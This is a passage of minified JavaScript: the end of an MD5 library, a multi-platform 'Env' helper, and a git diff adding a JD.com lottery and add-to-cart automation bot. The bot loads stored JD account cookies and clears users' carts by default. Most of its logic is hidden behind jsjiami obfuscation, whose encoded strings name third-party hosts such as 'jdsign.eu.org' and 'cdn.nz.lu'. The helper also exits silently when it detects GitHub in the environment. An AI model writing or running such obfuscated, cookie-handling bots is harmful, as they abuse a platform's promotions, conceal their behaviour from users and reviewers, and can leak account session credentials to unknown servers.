m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wxCollectionActivity2.js b/jd_wxCollectionActivity2.js new file mode 100644 index 0000000..d9e31d7 --- /dev/null +++ b/jd_wxCollectionActivity2.js @@ -0,0 +1,58 @@ +/* +https://lzkj-isv.isvjcloud.com/wxgame/activity/8530275?activityId= + +不能并发 + +ACTIVITY_ID + +JD_CART_REMOVESIZE || 20; // 运行一次取消多全部已关注的商品。数字0表示不取关任何商品 +JD_CART_REMOVEALL || true; //是否清空,如果为false,则上面设置了多少就只删除多少条 + +pinBlackLists 黑名单,不跑的ck & 分开 +7 7 7 7 7 jd_wxCollectionActivity2.js +*/ +const $ = new Env('加购物车抽奖'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = message = '' ,isPush = false; +let activityIdList = [ + +] +let lz_cookie = {} +let pinBlackLists = [] + +if (process.env.ACTIVITY_ID && process.env.ACTIVITY_ID != "") { + if (process.env.ACTIVITY_ID.indexOf('&') > -1) { + activityIdList = process.env.ACTIVITY_ID.split('&'); + } else { + activityIdList = [process.env.ACTIVITY_ID]; + } + } + activityIdList = [...new Set(activityIdList.filter(item => !!item))] + +if (process.env.pinBlackLists && process.env.pinBlackLists != "") { + pinBlackLists = process.env.pinBlackLists.split('&'); +} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +let doPush = process.env.DoPush || false; // 设置为 false 每次推送, true 跑完了推送 +let removeSize = process.env.JD_CART_REMOVESIZE || 20; // 运行一次取消多全部已关注的商品。数字0表示不取关任何商品 +let isRemoveAll = process.env.JD_CART_REMOVEALL || true; //是否清空,如果为false,则上面设置了多少就只删除多少条 +$.keywords = process.env.JD_CART_KEYWORDS || [] +$.keywordsNum = 0; +var _0xod1='jsjiami.com.v6',_0xod1_=['‮_0xod1'],_0x2afc=[_0xod1,'ZHJhd0luZm8=','Tm5IZ3Y=','RWFMa1U=','5ZWG5ZOB5bey6KKr6L+H5ruk77yM5Y6f5Zug77ya5YyF5ZCr5YWz6ZSu5a2XIA==','a2V5d29yZA==','aXNLZXl3b3Jk','RWtNekQ=','bmVlZENvbGxlY3Rpb25TaXpl','SE1jQ2U=','T3h0REU=','eFhYWXQ=','ZGdneUI=','TFBvZm0=','JnByb2R1Y3RJZD0=','Y3B2b3M=','c2t1SWQ=','aGhUalA=','RlJVREc=','c3Vic3Ry','Y0tUUVg=','a2V5cw==','Vk9HWmc=','RGVoZGg=','V0hXWkc=','VGNiRGM=','aGRxQU4=','U2dzY0E=','QVBlaGg=','S25QcFI=','UU9sa2o=','amVUVng=','RFVkZ3M=','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','c0RBSnk=','bFRwb1c=','TGxpT3c=','SW53ek0=','VEVZSFA=','aW9jUWk=','dmZWb3g=','dlRvclg=','QWJJWHk=','dGt2UUk=','Y2pYSXU=','cVR3Unk=','aVBQeVE=','S0RzVUo=','eW1TY0w=','THl0eXo=','aWlXdG4=','cHViSGw=','enpEcU0=','dmNBVXM=','aVZnTlM=','TXVwSVQ=','aldoTkI=','dEhaSnQ=','ZU5IZno=','TGxhZHA=','cG9zdA==','YmxYY3U=','UlJPVEg=','TWtSSnk=','VXFXZHA=','cGFyc2U=','WnFXWk0=','Y29kZQ==','TXVhSHo=','bEViQVg=','UERrRlg=','eEFyWXQ=','b3FleGU=','QmhYTVc=','TU1UYWI=','Z2d5dHE=','cmVzdWx0','ZElWSlg=','amRBY3Rpdml0eUlk','YWN0aXZpdHlTaG9wSWQ=','Z2NYUkU=','S0dWTEE=','RE5iSkY=','ZnNOSEg=','c3RyaW5naWZ5','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','cWhGclU=','bHprai1pc3YuaXN2amNsb3VkLmNvbQ==','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tbQ==','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tLw==','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tL3d4Q29sbGVjdGlvbkFjdGl2aXR5Lw==','UUlVYXQ=','YnF0dnM=','aW9QTUM=','Q3Jod1M=','ZmVuWms=','eWpqc1g=','S3VHQmo=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','bmZ1VXY=','WUNIeFQ=','TnlTR0E=','clhvU3k=','bGFYRFc=','R1FZWVY=','VXNmcFQ=','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29t','aHR0cHM6Ly9semtqLWlzdi5pc3ZqY2xvdWQuY29tL2N1c3RvbWVyL2dldE15UGluZw==','ekFmUXg=','RHJmVlg=','SVdvUWo=','VXNpVkI=','dk5zYUo=','S2poVlM=','TWJEcUo=','ek1WSG8=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUCZyaXNrVHlwZT0x','U0dleHU=','dGRYWno=','eU9NRnQ=','Wk9RcFU=','QVBrQ1Q=','V1dOYW8=','eXVsdGM=','aHNhTnE=','UHVRWHk=','aE9paFI=','YktDVEY=','TU11blI=','VnFKU1A=','Wnhqb1U=','SUJ4elE=','5L2g5aW977ya','cGlu','Z2hLQXg=','cXdHZ0c=','ZXJyb3JNZXNzYWdl','U2hlcU0=','bEFLTmE=','WlBMcm8=','SGFxWWw=','VFNUWGI=','Q1lpVnE=','bkxVSG4=','cHVYdXU=','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','Z2V0','SkRfVVNFUl9BR0VOVA==','RXNaT0w=','eEhOUFU=','VVNFUl9BR0VOVA==','Z2V0ZGF0YQ==','VHRncVY=','ZUVmV1o=','SGFZdlY=','cGNPSU8=','bkllaFQ=','SVBsYmM=','c05yTFQ=','aE1qRHk=','bFdmV3Q=','S0ZJblo=','VkxlSlo=','alhaUUw=','d1JZWW4=','cHJuS1o=','QUlSZVU=','TUJXWVQ=','R09ld04=','bnJHRG4=','RWVVZno=','Zmxvb3I=','endXY0Y=','cmFuZG9t','aWhBV3Q=','VmhqUlg=','THJVaU8=','eFBXU3A=','d1pHTnI=','dVZpa0Y=','bWJnWnU=','ZXFJalc=','Sk1ndmI=','SE91dW4=','Z1JDZXo=','YmVybWU=','Y0pQeVE=','dVJqQUc=','NHw1fDN8MHwyfDZ8MQ==','cGluZ291Y2hhbm5lbD0wJmNvbW1saXN0PQ==','d2luZG93LmNhcnREYXRhID0g','d2luZG93Ll9QRk1fVElNSU5H','SFdZY1A=','S3hIVEE=','5Yig6Zmk5aSx6LSl','aHR0cHM6Ly9wLm0uamQuY29tL2NhcnQvY2FydC5hY3Rpb24/ZnJvbW5hdj0xJnNjZW5ldmFsPTI=','amRhcHA7SkQ0aVBob25lLzE2NzcyNCAoaVBob25lOyBpT1MgMTUuMDsgU2NhbGUvMy4wMCk=','5q2j5Zyo6I635Y+W6LSt54mp6L2m5pWw5o2uLi4u','WlVkSFI=','QXl2dFk=','WWt3c00=','SnRtUU8=','ZlFvdEM=','aWt5RmI=','QW1xSE8=','ZmlzSWw=','dVV5eEQ=','aXdSZm8=','ZXJyTXNn','Q2dHZFU=','Y2FydA==','dmVuZGVyQ2FydA==','6I635Y+W5Yiw6LSt54mp6L2m5pWw5o2uIA==','d2ZpR0E=','dHJhY2VJZA==','d05zR0g=','cWNLU0o=','QmZub2o=','d3dubkQ=','cmVwbGFjZQ==','YXJlYUlk','bWFpblNrdU51bQ==','b3lPQkY=','VkdnSVk=','V3RWa0E=','c0N2R20=','UGd1cEU=','IGdldFNpZ24gQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','5q2j5Zyo5pW055CG5pWw5o2uLi4u','Y0VaZXk=','c0RYWmk=','dW5kZWZpbmVk','UXZHRGs=','VXJ2aHI=','c0ZrRkU=','cHVzaGVk','RlNMcEY=','c29ydGVkSXRlbXM=','WkJyZmI=','aE9iTnA=','am9vYng=','ZVJ5dVg=','RkxXVnI=','cG9seUl0ZW0=','cHJvbW90aW9u','ZkNiU2I=','cGlk','cHJvZHVjdHM=','R1JsUk4=','RlFBdWs=','bWFpblNrdQ==','aXNQdXNo','UW55ZUg=','YnVlZEk=','VUZhZ3g=','c2t1VXVpZA==','dnZkZnY=','LCwxLA==','LDEsLDAsc2t1VXVpZDo=','QEB1c2VVdWlkOjAk','LDExLA==','LDAsc2t1VXVpZDo=','JnR5cGU9MCZjaGVja2VkPTAmbG9jYXRpb25pZD0=','JnRlbXBsZXRlPTEmcmVnPTEmc2NlbmU9MCZ2ZXJzaW9uPTIwMTkwNDE4JnRyYWNlaWQ9','JnRhYk1lbnVUeXBlPTEmc2NlbmV2YWw9Mg==','cWJHS0I=','d3BxU2g=','aHR0cHM6Ly93cS5qZC5jb20vZGVhbC9tc2hvcGNhcnQvcm12Q21keT9zY2VuZXZhbD0yJmdfbG9naW5fdHlwZT0xJmdfdHk9YWpheA==','aHR0cHM6Ly9wLm0uamQuY29tLw==','5q2j5Zyo5Yig6Zmk6LSt54mp6L2m5pWw5o2uLi4u','WkVOTnY=','ZFZraGQ=','VVd3T0Q=','UkFzQ3I=','U2Z1SnM=','a2RQZFE=','QXZCTU0=','S1NGcU4=','cG1ZWlo=','RmFaclM=','Q1NYUnQ=','TG1Bd20=','WlFCQW8=','dEFoa2Y=','a0RHYmI=','d2FGQm0=','aW9vRW8=','aG1zbVc=','ZnlkTVk=','Q3VYaXU=','bmlFa00=','Rm5Cdk0=','aW5uRm8=','cUlxU20=','YWZ0ZXJSZW1vdmU=','Y2FydEpzb24=','bnVt','c2hKUHY=','R215UWk=','Q1R0am8=','eXF2WmQ=','R1dLSWs=','YWJqT0E=','T0t6b2I=','dlFVbU4=','5Yig6Zmk5oiQ5Yqf77yM5b2T5YmN6LSt54mp6L2m5Ymp5L2Z5pWw5o2uIA==','IOadoQo=','TFNJUVU=','UUdKVWo=','UFZWdUQ=','eEhVcnk=','c3Vic3RyaW5n','aXd3bGo=','ZHNjU28=','U3hmTlQ=','eXJNbm8=','V3hIQkU=','SEtGUkM=','SUZBc2I=','NnwzfDR8MXwwfDV8Mg==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','ZXFQR0Q=','YXJEQko=','aXp1THg=','Q21GRGU=','ZFlFaUI=','UUJSWlc=','blRnUEQ=','bnNFamk=','bkdudVg=','bkJNYUU=','R3dYWGI=','SU1RRk4=','TEFta00=','YmNidkg=','TkZMTWg=','Y1VTblU=','UGVPUGI=','VmJxV2E=','cU1mdEo=','WnBqYWs=','eUhXZGk=','Z0hpa0Y=','ckZmVWk=','QXdGbnA=','ckNKR3c=','WkV2cXc=','ZEJHcFI=','SXVscWw=','RU1UbEo=','VHl2QVQ=','RWZSS3g=','U2VteEU=','SFhydmI=','T1VqcUM=','MTAwMQ==','WWdDeEg=','aWF6WUo=','SkVydks=','UXNrVHc=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','Ki8q','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','WEZucFU=','SVVUVk8=','ZkxucUo=','cGNTU1U=','Z2xzWlo=','eG9CVFo=','ZVBZSnI=','QWJUbEg=','WEV3clk=','SnVhZUI=','SXFKcFA=','cFZQRk4=','R09IT0Y=','clJxY3k=','YXNyZkw=','TGluYmE=','UnB3dk4=','dnBrYnk=','ck9hVHc=','THNrQ1o=','cmV0Y29kZQ==','QWZMekI=','YWRybnk=','T1B5Z08=','SFNlVE0=','WXdld3c=','aGFzT3duUHJvcGVydHk=','Rm50TGg=','eWRHcmg=','bEVmYXo=','c0hUbVk=','TGZoc3o=','S3JWeEw=','VFd0dlM=','V3RoSEI=','SWlBVWU=','dEZCVEI=','dUthb1Q=','cVdaWGQ=','dkFzV0U=','dnN5QW8=','Z3ZhVUQ=','S3VGS3U=','aXN2T2JmdXNjYXRvcg==','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','YXBpLm0uamQuY29t','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','enZZYW0=','WE52WVk=','VnZKbEE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','a3RDQ2c=','QUVsTE0=','bWJOSVY=','ak1CZFY=','UnBjT1k=','RXVIRG8=','T3pyYUU=','T0hOS3Y=','SEtBakY=','TmlWVU8=','Tlh0Ym8=','b1BDUXo=','WUNYRVY=','QmZ2VEw=','aWlYWkQ=','SmtZc1k=','T2NGTWc=','T2J3eWI=','eUJGcGI=','aUVRd2I=','Y2xQR0M=','cEZFZUg=','QWFab0Y=','V2Zhc3A=','Z3pRcEU=','WFNCbXg=','c1NSSnA=','VmxJYkg=','bUViYWg=','SnNJeEY=','eFJjWU8=','RHhFYkI=','YVZrY1Q=','Skdnd2U=','RFVya3M=','d21TbG8=','blROS0M=','TnVhZXc=','bWN0bHU=','TEF2QUQ=','dktReWg=','d3hDb2xsZWN0aW9uQWN0aXZpdHk=','amRzaWduLmV1Lm9yZw==','U29RYmc=','ZGxnYU4=','bnlEdUc=','dFVHYkw=','cGNYa00=','aGVleUQ=','eXpqTlI=','WHlRY3Y=','YUVGd1A=','Z2R3V1Y=','U0lHTl9VUkw=','Z0VHS3g=','TUx4UW4=','T2hJUUg=','aHR0cHM6Ly9jZG4ubnoubHUvZGRv','bWlRY3Q=','ZFliSG8=','d1p1TkY=','dElodXY=','SUxCRHo=','UEZQV3A=','RXBZZk8=','WFJscmQ=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','5byA6LW356ysIA==','IOS4qua0u+WKqO+8jOa0u+WKqGlk77ya','UEdZUnM=','SGlSQ0I=','b3BHRnA=','RkptZGU=','6buR5ZCN5Y2V6Lez6L+H','bXNIY0Y=','cVZabG8=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','VHRaU08=','b0Nva3U=','Smd6akg=','55Sx5LqO6LSt54mp6L2m5YaF55qE5ZWG5ZOB5Z2H5YyF5ZCr5YWz6ZSu5a2X77yM5pys5qyh5omn6KGM5bCG5LiN5Yig6Zmk6LSt54mp6L2m5pWw5o2u','5pyJ54K55YS/5pS26I63','bXNn','bmFtZQ==','c292aGY=','VERXakU=','bG9n','TndEYW0=','Tk1EUlc=','c0NPY1E=','VG9QWVQ=','SnlmV04=','bGVuZ3Ro','a3J3WGw=','SGprZWQ=','Z1RpaG0=','bG9nRXJy','VXNlck5hbWU=','d1RQeXY=','bWF0Y2g=','aW5kZXg=','aXNMb2dpbg==','bmlja05hbWU=','SHVnRGg=','aW5kZXhPZg==','WVF2c0w=','Wkd5dkI=','T3RMSFM=','V2NWZEo=','bHRPdmI=','LCDlpLHotKUhIOWOn+WboDog','dkZJWXM=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','bHlIam8=','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','aXNOb2Rl','T2VjaEQ=','c2VuZE5vdGlmeQ==','Y29va2ll5bey5